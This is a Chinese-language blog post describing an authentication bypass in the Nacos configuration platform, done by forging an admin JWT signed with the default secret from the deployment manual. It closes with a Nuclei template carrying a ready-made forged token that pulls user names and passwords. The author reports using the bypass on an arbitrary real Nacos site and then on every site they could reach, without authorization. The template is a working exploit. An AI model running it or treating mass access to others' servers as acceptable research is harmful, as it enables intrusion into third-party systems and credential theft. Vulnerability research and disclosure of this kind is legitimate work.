记一次CNVD证书挖掘

文章讲述了作者在一次挖洞过程中发现Nacos系统存在未授权访问漏洞。Nacos是阿里开源的云原生服务发现和配置管理平台。作者通过研究JWTtoken的结构,发现可以利用默认密钥构造JWT来绕过登录验证。利用在线工具生成JWT并成功访问了系统后台,进而编写Nuclei脚本批量检测此漏洞。
摘要由CSDN通过智能技术生成

在某一次挖洞的过程中,灯塔扫描出来一个Nacos未授权访问的漏洞

在好奇心的驱使下,我去搜索了一下这个名为Nacos的系统。Nacos是阿里维护的一个开源的项目,一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。

然后就开始了我的挖洞之旅。我先是通过官网提供的控制台样例去了解这个系统。通过BP抓包,获取到系统登录成功的响应包。我们可以看到该系统是通过JWT token进行鉴权,鉴权点在返回包的Authorization头部和响应体的accessToken字段

JWT(Json web token)是为了在网络应用环境间传递声明而执行的一种基于JSON的开发标准。JWT的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息,以便于从资源服务器获取资源,也可以增加一些额外的其它业务逻辑所必须的声明信息,该token也可直接被用于认证,也可被加密。

JWT由三部分组成:header(头部)、payload(载荷)、signature(签名)。JWT的格式为:header.payload.signature

header部分一般包含两部分信息:

  • 声明类型,这里是jwt

  • 声明加密的算法 通常直接使用 HMAC SHA256

完整头部如下:

{  'typ': 'JWT',  'alg': 'HS256'}

然后将头部进行base64加密得到第一部分

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9

payload部分就是存放有效信息的地方,一般包含三部分

  • 标准中注册的声明

  • 公共的声明

  • 私有的声明

将我们获取到的token解析后就会得到以下部分

{
  "sub": "nacos",
  "exp": 1687248824
}

signature部分是最重要的部分,它是一个签证信息,这个签证信息由三部分组成:

  • header (base64后的)

  • payload (base64后的)

  • secret

这个部分需要base64加密后的header和base64加密后的payload使用.连接组成的字符串(头部在前),然后通过header中声明的加密方式进行加盐secret组合加密,然后就构成了jwt的第三部分。

了解了JWT token是如何构成的之后,我就想着,我是否可以自行构建一个token,从而绕过登录,直接进入后台呢,但是想要生成一个JWT token,密钥部分是必不可少的。然后我就开始翻官方的部署手册。不得不说,官方的部署手册是真的不辍。里面提供了默认的密钥(在2.2.0版本以前的nacos配置文件中也有,在那之后就被删除了),说干就干,咱赌的就是他们没有修改默认密钥。

 

如今已经获取到了密钥,使用JWT Token在线生成工具可以直接生成。如下:加密方式选择HS256,Type选择jwt,选择一个token过期时间,面向用户我们填nacos,因为该系统默认的管理员用户就是nacos,最后输入我们从部署手册获取到的密钥。点击生成

获取到token后,我们尝试随意选择一个Nacos网站。默认口令:nacos/nacos无法登录成功。

BP拦截响应包

替换响应包格式,将我们生成的token输入进去,直接放包

成功进入系统。

随后我编写了一个nuclei脚本(脚本在文章末尾),尝试用这个token去访问所有我能获取到的nacos站点后台,均能成功。

最终也是成功拿下了CNVD原创漏洞证书


nuclei脚本源码:

id: nacos-unauthorized

info:
  name: Nacos unauthorized
  author: pb
  severity: critical
  description: Nacos unauthorized
  tags: nacos,unauthorized

requests:
  - raw:
      - |
        GET /nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate&accessToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyIiOltdLCJpYXQiOjE2ODgwNjIzMDksImV4cCI6MTY4ODE0MDc5OSwiYXVkIjoiIiwiaXNzIjoiIiwic3ViIjoibmFjb3MifQ.qONuvSSkjZOqFdegldvduChcYFIHRjUEIvlc0SyHT9I HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:

      - type: word
        part: body
        condition: and
        words:
          - '"username"'
          - '"password"'
          
      - type: status
        status:
          - 200

# Enhanced by mp on 2022/02/28
  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值